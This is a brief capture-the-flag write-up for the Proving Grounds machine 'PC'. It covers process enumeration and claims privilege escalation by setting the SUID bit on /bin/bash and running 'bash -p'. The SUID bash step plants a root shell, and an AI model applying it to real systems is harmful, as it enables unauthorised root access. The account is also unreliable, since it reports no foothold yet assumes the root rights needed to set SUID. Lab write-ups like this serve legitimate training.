PC -- Proving Grounds (write-up)

Difficulty: Intermediate Box: PC (Proving Grounds) Author: dsec Date: 2025-09-30

---

TL;DR

Enumeration of running processes revealed attack surface. Privesc via SUID on bash.

---

Target info

• Host: PC (Proving Grounds)

---

Enumeration

Checked running processes:

ps -auxww

---

Foothold

nada -- moved on.

---

Privilege escalation

Set SUID on bash and executed:

/bin/bash -p

Only needed u+s /bin/bash as the payload.

---

Lessons & takeaways

• Always check running processes with ps -auxww for hidden services
• SUID on /bin/bash is a quick path to root via bash -p

---